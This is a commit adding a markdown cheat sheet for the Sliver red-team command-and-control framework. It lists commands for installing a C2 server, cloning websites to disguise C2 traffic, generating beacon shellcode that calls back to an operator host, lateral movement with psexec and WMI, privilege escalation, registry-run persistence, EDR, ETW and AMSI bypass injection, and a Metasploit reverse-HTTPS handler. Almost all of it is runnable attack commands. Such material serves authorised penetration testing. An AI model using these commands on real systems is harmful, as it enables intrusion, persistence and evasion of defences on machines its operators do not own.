Create sliver.md

sliver.md

@@ -0,0 +1,234 @@
+# Sliver Cheat Sheet
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary. Sliver server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux.
+
+---
+
+## Installation
+```
+curl https://sliver.sh/install|sudo bash
+```
+
+## Sliver Service
+```
+cat > /etc/systemd/system/sliver.service << EOL
+[Unit]
+Description=Sliver Server
+After=syslog.target network.target
+
+[Service]
+Type=simple
+Restart=always
+RestartSec=120
+LimitNOFILE=20000
+Environment=LANG=en_US.UTF-8
+ExecStart=/opt/sliver/sliver-server_linux daemon -l 0.0.0.0 -p <port>
+
+[Install]
+WantedBy=multi-user.target
+EOL
+```
+
+### Restart Deamon & Start Sliver
+```
+systemctl daemon-reload
+systemctl enable --now sliver 
+```
+
+### Install Letsencrypt
+```
+apt install letsencrypt -y
+```
+
+### Setup Letsencrypt
+```
+apt install apache2 -y
+certbot certonly --non-interactive --quiet --register-unsafely-without-email --agree-tos -a webroot --webroot-path=/var/www/html -d <domain>
+```
+### Create a New Website
+
+Clone website with wget.
+```
+wget --mirror --convert-links --html-extension <target>
+```
+
+Add content to HTTP(S) C2 websites to make them look more legit.
+```
+websites add-content --website <name> --web-path <path> --content ./public --recursive
+```
+
+## Team Server
+
+
+#### Create New Operator
+```
+./sliver-server_linux operator -l <teamserver_ip> -p <teamserver_port> -n <username> -s /tmp/<username>.cfg
+```
+---
+### Connect to Team Server
+```
+sliver-client import /tmp/<username>.cfg
+sliver-client
+```
+
+### Create New Listener
+
+#### MTLS
+``` 
+mtls -l 443 -L 0.0.0.0 -p
+```
+
+#### HTTPS
+```
+https -l 443 -L 0.0.0.0 -p
+```
+
+### HTTPS Domain
+```
+https --domain <domain> --cert /path/cert.pem --key /path/privkey.pem --website <website_name> -p
+```
+
+#### HTTP
+```
+http -l 80 -L 0.0.0.0 -p
+```
+---
+
+## Payload Creation
+
+### Generate Shellcode
+```
+generate beacon --mtls <ip address>:<port> -f shellcode
+```
+
+### Generate Binary
+```
+generate beacon --http <ip address>:<port>
+```
+
+## Post Exploitation
+
+### Beacon
+```
+use <beacon_id>
+```
+
+### Sessions
+Switching from Beacon Mode to Session Mode
+```
+sessions
+use <sessions_id>
+interactive
+```
+
+### Kill All Session
+```
+sessions -F -K
+```
+---
+
+### Lateral Movement
+
+#### SMB Listener
+```
+pivots named-pipe --bind <named_pipe>
+profiles new --format service --named-pipe <local_ip>/pipe/<named_pipe> svc-smb-beacon
+```
+
+#### PSEXEC Lateral Movement
+```
+psexec -d Description -s PAEXEC -p svc-smb-beacon <remote_computer>
+```
+
+#### WMI Lateral Movement
+```
+sharp-wmi 'action=exec computername=<remote_computer> command="C:\windows\temp\xxx.exe" result=true'
+```
+---
+
+## Internal Reconnaissance 
+
+#### Situational Awareness - Local
+```
+seatbelt -p C:\\Windows\\System32\\werfault.exe -- "-group=user"
+```
+
+#### Situational Awareness - Domain
+```
+sharp-hound-3 -- -c all 
+```
+---
+
+## Privilege Escalation
+```
+sharpup -t 120 -p C:\\Windows\\System32\\werfault.exe audit
+```
+---
+## Persistence
+```
+sharpersist -- '-t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add'
+```
+---
+## Pivoting
+
+### Socks Proxy
+```
+interactive
+use <session>
+socks5 start
+```
+---
+## Defense Evasion
+To run this command need to install extension windows-bypass
+### EDR Bypass
+```
+unhook-boof
+```
+### ETW Bypass
+```
+inject-etw-bypass <pid>
+```
+
+### AMSI Bypass
+```
+inject-amsi-bypass <pid>
+```
+---
+
+## Session Passing
+Session passing is using one payload to spawn another payload.
+### Install Metasploit
+```
+curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
+  chmod 755 msfinstall && \
+  ./msfinstall
+```
+### Setup Metasploit Handler
+```
+use exploit/multi/handler 
+set payload windows/x64/meterpreter_reverse_https
+set lhost <msf_ip>
+set lport <msf_port>
+exploit -jz
+```
+
+### Inject Metasploit
+```
+msf --lhost <msf_ip> --lport <msf_port>
+```
+
+## Misc
+
+### Install Extension From Local
+```
+extensions install /path/bof
+```
+
+### Install Extension Using Armory 
+```
+armory install windows-bypass
+armory install windows-pivot
+armory install situational-awareness
+armory install .net-execute
+armory install .net-pivot
+armory install .net-recon
+```